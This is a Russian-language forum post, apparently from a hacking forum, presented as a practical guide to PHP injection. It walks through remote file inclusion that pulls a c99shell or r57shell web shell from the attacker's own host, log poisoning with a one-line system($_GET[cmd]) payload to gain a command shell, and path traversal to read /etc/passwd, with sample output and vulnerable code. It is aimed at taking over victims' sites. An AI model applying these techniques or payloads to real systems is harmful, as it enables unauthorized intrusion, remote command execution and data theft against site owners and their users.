Перейти к содержимому

    123.gif     123.gif

PHP - injection на практике.


  • Авторизуйтесь для ответа в теме
В этой теме нет ответов

#1
..:Made in Dobrый:..

..:Made in Dobrый:..

    Продвинутый

  • Модераторы
  • 344 сообщений
  • ГородМосква

PHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:

PHP код:
eval(), 
preg_replace() (с модификатором «e»), 
require_once(), 
include_once(), 
include(), 
require(), 

create_function().  

PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

Пример кривого кода:

PHP код:
<? 
... 
$module $_GET['module']; 
include 
$module '.php'
... 

?>

С помощью этой ошибки мы можем подставить свой ядовитый код со своего сайта и выполнить инъекцию удаленно - это называется глобальный инклуд.

Например имеется сайт
http://site.com/index.php?arq=foto

Подстовляем произвольно буквы вместо foto

http://site.com/index.php?arq=adminloh

и видим ошибку такого плана:

Код:
Warning: include_once(pidori) [function.include-once]: failed to open stream: No such file or directory in /home/catenabrasil/www/portal/index.php on line 69
Warning: include_once() [function.include]: Failed opening 'wert' for inclusion (include_path='.:/usr/share/pear/:/usr/lib/php/') in /home/catenabrasil/www/portal/index.php on line 69

Это 90% уязвимый сайт.
Подставляем вместо параметра foto линк на наш сайт на хостинге (сайт не должен поддерживать php скрипты иначе будет все выполнятся на нашем сайте, а не на сайте жертвы) с заранее залитым веб-шелом...

Я используюю c99shell и r57shell...
И получается линк такого плана http://site.com/inde....u/r57shell.php
И если все верно то мы получаем веб шелл... Сайт у нас в руках))

Локальный PHP - инклуд
Позволяет злоумышленнику инклудить файлы лежащие на сервере.
Пример кривого кода: 

PHP код:
?php 
    
include("include/$file");   
?>  

С помощью этого бага возможно инклудить т.е читать файлы на серваке... Например на сайте можно загружать файлы с любым разрешением, и мы имеем возможность загрузить свой php код и проинклудить его получив веб шелл, или прочитать логи ошибок сервака, например в лог идут все ошибки 404... мы подставляем в линк сайта свой php код:

PHP код:
<?php system($_GET[cmd]) ?>

и он выдает нам ошибку 404... мы инклудим лог и получаем веб шелл CMD...

Пример сайта http://site.ru/index.php?page=foto
Заменяем http://site.ru/index.php?page=qwert и видим ошибку:

Код:
Warning: main(files/content/qwer) [function.main]: failed to open stream: No such file or directory in /home/u3/bmohler/html/index.php on line 38
Инклудим файл /etc/passwd - http://site.ru/index..../../etc/passwd

и видим примерно такое:

Код:
# $FreeBSD: src/etc/master.passwd,v 1.25.2.6 2002/06/30 17:57:17 des Exp $ # root:*:0:0::/root:/usr/local/bin/bash toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin operator:*:2:5:System &:/:/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin news:*:8:8:News Subsystem:/:/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/sbin/nologin bind:*:53:53:Bind

Это мы произвели инклуд /etc/passwd...
Таким же образом можно проинклудить логи ошибок и БД...


  • z0rg1n и German753 это нравится




Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных